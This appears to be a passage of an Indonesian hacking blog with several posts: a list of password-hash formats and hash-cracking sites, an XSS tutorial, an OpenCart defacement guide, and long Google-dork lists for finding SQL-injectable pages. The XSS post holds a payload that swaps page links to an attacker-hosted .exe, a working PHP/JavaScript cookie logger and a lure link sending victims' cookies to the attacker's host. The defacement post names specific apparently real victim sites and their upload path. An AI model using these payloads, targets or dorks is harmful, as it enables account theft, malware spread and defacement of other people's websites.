[+] Contoh : 81f87275dd805aa018df8befe09fe9f8:wH6_S

16. md5(md5($salt).$pass)
[+] Digunakan di MyBB.
[+] Panjang : 16 bytes.
[+] Contoh : 816a14db44578f516cbaef25bd8d8296:1234

17. md5($salt.$pass.$salt)
[+] Digunakan di TBDev.
[+] Panjang : 16 bytes.
[+] Contoh : a3bc9e11fddf4fef4deea11e33668eab:1234

18. md5($salt.md5($salt.$pass))
[+] Digunakan di DLP.
[+] Panjang : 16 bytes.
[+] Contoh : 1d715e52285e5a6b546e442792652c8a:1234

20. SHA-1
[+] Digunakan dibanyak Forum dan CMS.
[+] Panjang : 20 bytes
[+] Algorithm: Sama dengan sha1() fungsi di PHP.
[+] Contoh : 356a192b7913b04c54574d18c28d46e6395428ab

21. sha1(strtolower($username).$pass)
[+] Digunakan di SMF
[+] Panjang : 20 bytes.
[+] Contoh : Admin:6c7ca345f63f835cb353ff15bd6c5e052ec08e7a

22. sha1($salt.sha1($salt.sha1($pass)))
[+] Digunakan di Woltlab BB
[+] Panjang : 20 bytes
[+] Contoh : cd37bfbf68d198d11d39a67158c0c9cddf34573b:1234

23. SHA-256(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 55 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $5$, kemudian diikuti salt (sampai dengan 8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian dilanjutkan dengan satu karakter lagi $, kemudian diikuti hash sebenarnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma SHA-256 5000 kali.
[+] Contoh : $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi...

24. SHA-512(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 98 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $6$, kemudian diikuti dengan salt (sampai dengan 8 karakter acak, dicontoh kita saltnya adalah string "12345678"), kemudian dilanjutkan dengan satu karakter lagi $, kemudian diikuti hash sebenarnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma SHA-512 5000 kali.
[+] contoh : $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm...

kalo mau mengenal lebih jauh tentang macam-macam hash lebih banyak lagi, silahkan mampir ke sini http://www.insidepro.com/hashes.php
Mulai dari ADLER-32, CRC-16, CRC-32, MD2, MD4, MD5
Untuk Decrypt nya:
MD5:

Hashkiller.com
c0llision.net
passcracking.com
tmto.org
md5decrypter.co.uk
md5this.com
bitdelivery.net
crackfor.me
ihteam.net
md5.my-addr.com
md5pass.info
hashcrack.com
generuj.pl
authsecu.com
md5decryption.com
md5decrypter.com
md5-db.de
md5online.net
hash-database.net
web-security-services.com
hash.toolz.in
isc.sans.org
md5-lookup.com
gromweb.com
noisette.ch
crackfoo.nicenamecrew.com
shell-storm.org
askcheck.com
hashcracking.com
md5.net
web-max.ca
xanadrel.99k.org
md5.com.cn
hash-cracker.com
bigtrapeze.com
cloudcracker.net
gat3way.eu
vulnlabs.org
tobtu.com
cmd5hash.com
onlinehashcrack.com
freerainbowtables.com
xdecrypt.com
hax0r.in
crackstation.net
md5-decrypter.com
netmd5crack.com
xmd5.org

SHA:

md5decrypter.co.uk
hash.toolz.in
isc.sans.org
stringfunction.com
md5-lookup.com
crackfoo.nicenamecrew.com
askcheck.com
vulnlabs.org
xdecrypt.com

Base64:

http://www.convertstring.com/id/EncodeDecode/Base64Decode

Semoga Bermanfaat =))

 

 

 

Read More »

Simpel XSS

XSS (Cross Site Scripting) bisa digunakan untuk memasukkan kode berbahaya ke sebuah website. Biasanya sih javascript, tapi dapat digunakan untuk php dan html juga
Serangan XSS inject ke dalam URL, dan dieksekusi .

Contoh :

http://www.contoh.com/search.php?&searchfor=<script>alert("XSS")</script>

ane gunain

<script>alert("XSS")</script>

sebagai contoh bisa juga

"><script>alert('XSS');</script>

jika website vuln terhadap xss maka akan keluar messagebox

ato klo mau pake tools add-on pirepox donlot dimari.

Maka bisa dihajar tuh web dg berbagai cara

1. Sebarin Virus
http://www.contoh.com/index.php?download...t;window.onload = function() {var AllLinks=document.getElementsByTagName(“a”); AllLinks[0].href = “http://www.websitekita.com/virussaya.exe”; }</script>

2. Nyolong akun pake stealing session/cookie
buatlah cookie logger nyang terdiri dari 2 file (Cookiemonster.php Cookies.txt )
+ Cookiemonster.php

(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./cookies.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +        // Numeric
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
        "abcdefghijklmnopqrstuvwxyz" +
        "-_.!~*'()";        // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
        var ch = plaintext.charAt(i);
        if (ch == " ") {
            encoded += "+";                // x-www-urlencoded, rather than %20
        } else if (SAFECHARS.indexOf(ch) != -1) {
            encoded += ch;
        } else {
            var charCode = ch.charCodeAt(0);
            if (charCode > 255) {
                alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
                    "(URL encoding only supports 8-bit characters.)\n" +
          "A space (+) will be substituted." );
                encoded += "+";
            } else {
                encoded += "%";
                encoded += HEX.charAt((charCode >> 4) & 0xF);
                encoded += HEX.charAt(charCode & 0xF);
            }
        }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

+ Cookies.txt biarin kosong kk

trus upload deh ke hosting kk
pasang jebakan betmen

<a href="javascript:document.location='http://www.websitekita.com/cookiemonster.php?cookie='+document.cookie;">Click here!</a>

sebarin ke target....hasilnya berada di cookies.txt

sebenarnya masih banyak yg bisa dilakuin dari XSS tapi yg ane tau baru itu doang =))

Read More »

File Upload Opencart (Deface)

Ok..Disini Saya Akan Postingkan..
Cara Mendeface Website opencart..
Dan anda Juga Bisa Mencari Bug Nya Di Google..

Cara 1 : Anda Mencari Notevad Untuk Menghedit HTML anda..
Cara 2 : Beri Nama File Upload Anda [index.htm]Or[index.html] Dan Bisa Juga Index.php
Cara 3 : Anda Bisa ambil Di Bawa Deface Upload Yg Anda Ingin Kan.

Jika sudah Fix semua ..
coba deh upload ke sini

http://www.speedbikeracing.it/admin/view...dtest.html

Conector ASP nya di ganti PHP
Resource Type dari "None" Rubah ke "File"

ntar kalo udah di upload .. coba agan test

http://www.speedbikeracing.it/(nama file html agan).htm

Hasil http://www.storedemo.blackhorsemedia.ca/bug.htm


bisa juga deface opencart lain ..
dengan dork "Powered by open cart"
misal nya dah dapat web target .

tinggal tambahain
"www.namawebkorban.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/uploadtest.html"
contoh web korban :

http://www.storedemo.blackhorsemedia.ca

http://www.fresiaviaggi.it

http://www.speedbikeracing.it

Semoga Bermanfaat =))

Read More »

Berbagai Macam Dork

Langsung aja deh gak usah basa-basi ..

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=


inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:about.php?ID=

Tambahan nih ..

inurl:"add_cart.asp?num="
inurl:"addcart.asp?"
inurl:"addItem.asp"
inurl:"add-to-cart.asp?ID="
inurl:"addToCart.asp?idProduct="
inurl:"addtomylist.asp?ProdId="
inurl:"adminEditProductFields.asp?intProdID="
inurl:"advSearch_h.asp?idCategory="
inurl:"affiliate.asp?ID="
inurl:"affiliate-agreement.cfm?storeid="
inurl:"affiliates.asp?id="
inurl:"ancillary.asp?ID="
inurl:"archive.asp?id="
inurl:"article.asp?id="
inurl:"aspx?PageID"
inurl:"basket.asp?id="
inurl:"Book.asp?bookID="
inurl:"book_list.asp?bookid="
inurl:"book_view.asp?bookid="
inurl:"BookDetails.asp?ID="
inurl:"browse.asp?catid="
inurl:"browse_item_details.asp"
inurl:"Browse_Item_Details.asp?Store_Id="
inurl:"buy.asp?"
inurl:"buy.asp?bookid="
inurl:"bycategory.asp?id="
inurl:"cardinfo.asp?card="
inurl:"cart.asp?action="
inurl:"cart.asp?cart_id="
inurl:"cart.asp?id="
inurl:"cart_additem.asp?id="
inurl:"cart_validate.asp?id="
inurl:"cartadd.asp?id="
inurl:"cat.asp?iCat="
inurl:"catalog.asp"
inurl:"catalog.asp?CatalogID="
inurl:"catalog_item.asp?ID="
inurl:"catalog_main.asp?catid="
inurl:"category.asp"
inurl:"category.asp?catid="
inurl:"category_list.asp?id="
inurl:"categorydisplay.asp?catid="
inurl:"checkout.asp?cartid="
inurl:"checkout.asp?UserID="
inurl:"checkout_confirmed.asp?order_id="
inurl:"checkout1.asp?cartid="
inurl:"comersus_listCategoriesAndProducts.asp?idCategory ="
inurl:"comersus_optEmailToFriendForm.asp?idProduct="
inurl:"comersus_optReviewReadExec.asp?idProduct="
inurl:"comersus_viewItem.asp?idProduct="
inurl:"comments_form.asp?ID="
inurl:"contact.asp?cartId="
inurl:"content.asp?id="
inurl:"customerService.asp?TextID1="
inurl:"default.asp?catID="
inurl:"description.asp?bookid="
inurl:"details.asp?BookID="
inurl:"details.asp?Press_Release_ID="
inurl:"details.asp?Product_ID="
inurl:"details.asp?Service_ID="
inurl:"display_item.asp?id="
inurl:"displayproducts.asp"
inurl:"downloadTrial.asp?intProdID="
inurl:"emailproduct.asp?itemid="
inurl:"emailToFriend.asp?idProduct="
inurl:"events.asp?ID="
inurl:"faq.asp?cartID="
inurl:"faq_list.asp?id="
inurl:"faqs.asp?id="
inurl:"feedback.asp?title="
inurl:"freedownload.asp?bookid="
inurl:"fullDisplay.asp?item="
inurl:"getbook.asp?bookid="
inurl:"GetItems.asp?itemid="
inurl:"giftDetail.asp?id="
inurl:"help.asp?CartId="
inurl:"home.asp?id="
inurl:"index.asp?cart="
inurl:"index.asp?cartID="
inurl:"index.asp?ID="
inurl:"info.asp?ID="
inurl:"item.asp?eid="
inurl:"item.asp?item_id="
inurl:"item.asp?itemid="
inurl:"item.asp?model="
inurl:"item.asp?prodtype="
inurl:"item.asp?shopcd="
inurl:"item_details.asp?catid="
inurl:"item_list.asp?maingroup"
inurl:"item_show.asp?code_no="
inurl:"itemDesc.asp?CartId="
inurl:"itemdetail.asp?item="
inurl:"itemdetails.asp?catalogid="
inurl:"learnmore.asp?cartID="
inurl:"links.asp?catid="
inurl:"list.asp?bookid="
inurl:"List.asp?CatID="
inurl:"listcategoriesandproducts.asp?idCategory="
inurl:"modline.asp?id="
inurl:"myaccount.asp?catid="
inurl:"news.asp?id="
inurl:"order.asp?BookID="
inurl:"order.asp?id="
inurl:"order.asp?item_ID="
inurl:"OrderForm.asp?Cart="
inurl:"page.asp?PartID="
inurl:"payment.asp?CartID="
inurl:"pdetail.asp?item_id="
inurl:"powersearch.asp?CartId="
inurl:"privacy.asp?cartID="
inurl:"prodbycat.asp?intCatalogID="
inurl:"prodetails.asp?prodid="
inurl:"prodlist.asp?catid="
inurl:"product.asp?bookID="
inurl:"product.asp?intProdID="
inurl:"product_info.asp?item_id="
inurl:"productDetails.asp?idProduct="
inurl:"productDisplay.asp"
inurl:"productinfo.asp?item="
inurl:"productlist.asp?ViewType=Category&CategoryID= "
inurl:"productpage.asp"
inurl:"products.asp?ID="
inurl:"products.asp?keyword="
inurl:"products_category.asp?CategoryID="
inurl:"products_detail.asp?CategoryID="
inurl:"productsByCategory.asp?intCatalogID="
inurl:"prodView.asp?idProduct="
inurl:"promo.asp?id="
inurl:"promotion.asp?catid="
inurl:"pview.asp?Item="
inurl:"resellers.asp?idCategory="
inurl:"results.asp?cat="
inurl:"savecart.asp?CartId="
inurl:"search.asp?CartID="
inurl:"searchcat.asp?search_id="
inurl:"Select_Item.asp?id="
inurl:"Services.asp?ID="
inurl:"shippinginfo.asp?CartId="
inurl:"shop.asp?a="
inurl:"shop.asp?action="
inurl:"shop.asp?bookid="
inurl:"shop.asp?cartID="
inurl:"shop_details.asp?prodid="
inurl:"shopaddtocart.asp"
inurl:"shopaddtocart.asp?catalogid="
inurl:"shopbasket.asp?bookid="
inurl:"shopbycategory.asp?catid="
inurl:"shopcart.asp?title="
inurl:"shopcreatorder.asp"
inurl:"shopcurrency.asp?cid="
inurl:"shopdc.asp?bookid="
inurl:"shopdisplaycategories.asp"
inurl:"shopdisplayproduct.asp?catalogid="
inurl:"shopdisplayproducts.asp"
inurl:"shopexd.asp"
inurl:"shopexd.asp?catalogid="
inurl:"shopping_basket.asp?cartID="
inurl:"shopprojectlogin.asp"
inurl:"shopquery.asp?catalogid="
inurl:"shopremoveitem.asp?cartid="
inurl:"shopreviewadd.asp?id="
inurl:"shopreviewlist.asp?id="
inurl:"ShopSearch.asp?CategoryID="
inurl:"shoptellafriend.asp?id="
inurl:"shopthanks.asp"
inurl:"shopwelcome.asp?title="
inurl:"show_item.asp?id="
inurl:"show_item_details.asp?item_id="
inurl:"showbook.asp?bookid="
inurl:"showStore.asp?catID="
inurl:"shprodde.asp?SKU="
inurl:"specials.asp?id="
inurl:"store.asp?id="
inurl:"store_bycat.asp?id="
inurl:"store_listing.asp?id="
inurl:"Store_ViewProducts.asp?Cat="
inurl:"store-details.asp?id="
inurl:"storefront.asp?id="
inurl:"storefronts.asp?title="
inurl:"storeitem.asp?item="
inurl:"StoreRedirect.asp?ID="
inurl:"subcategories.asp?id="
inurl:"tek9.asp?"
inurl:"template.asp?Action=Item&pid="
inurl:"topic.asp?ID="
inurl:"tuangou.asp?bookid="
inurl:"type.asp?iType="
inurl:"updatebasket.asp?bookid="
inurl:"updates.asp?ID="
inurl:"view.asp?cid="
inurl:"view_cart.asp?title="
inurl:"view_detail.asp?ID="
inurl:"viewcart.asp?CartId="
inurl:"viewCart.asp?userID="
inurl:"viewCat_h.asp?idCategory="
inurl:"viewevent.asp?EventID="
inurl:"viewitem.asp?recor="
inurl:"viewPrd.asp?idcategory="
inurl:"ViewProduct.asp?misc="
inurl:"voteList.asp?item_ID="
inurl:"whatsnew.asp?idCategory="
inurl:"WsAncillary.asp?ID="

PHP :
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

Segitu aja dari gue ..

Semoga Bermanfaat =))

Read More »